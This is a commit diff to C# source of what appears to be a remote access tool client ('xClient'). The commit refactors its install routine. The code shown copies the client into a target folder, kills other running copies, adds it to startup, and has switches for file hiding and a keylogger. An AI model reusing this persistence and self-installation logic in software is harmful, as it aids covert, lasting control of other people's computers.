Minor Uninstall fix

- Add to Autostart again when already installed #205
This commit is contained in:
MaxXor 2015-05-26 18:28:15 +02:00
parent 381dad6a24
commit 36ac738e43
2 changed files with 49 additions and 39 deletions

View File

@ -61,7 +61,7 @@ namespace xClient.Core
"ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png"
};
public static bool Disconnect = false;
public static bool Disconnect = false; // when Disconnect is true, stop all running threads
public static string OperatingSystem = string.Empty;
public static string MyPath = string.Empty;
public static string InstallPath = string.Empty;
@ -404,45 +404,8 @@ namespace xClient.Core
return (idleTime > 600); // idle for 10 minutes
}
public static void Install()
public static void AddToStartup()
{
bool isKilled = false;
// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
// delete existing file
if (File.Exists(InstallPath))
{
try
{
File.Delete(InstallPath);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process if new mutex
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
if (prc.Id == myPid) continue;
prc.Kill();
isKilled = true;
}
}
}
}
if (isKilled) Thread.Sleep(5000);
//copy client to target dir
File.Copy(MyPath, InstallPath, true);
//add to startup
if (Settings.STARTUP)
{
if (AccountType == "Admin")
@ -497,6 +460,48 @@ namespace xClient.Core
}
}
}
}
public static void Install(bool addToStartup = true)
{
bool isKilled = false;
// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
// delete existing file
if (File.Exists(InstallPath))
{
try
{
File.Delete(InstallPath);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process if new mutex
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
if (prc.Id == myPid) continue;
prc.Kill();
isKilled = true;
}
}
}
}
if (isKilled) Thread.Sleep(5000);
//copy client to target dir
File.Copy(MyPath, InstallPath, true);
if (addToStartup)
AddToStartup();
if (Settings.HIDEFILE)
{

View File

@ -133,6 +133,11 @@ namespace xClient
new Thread(SystemCore.UserIdleThread).Start();
if (Settings.STARTUP)
{
SystemCore.AddToStartup();
}
InitializeClient();
if (Settings.ENABLELOGGER)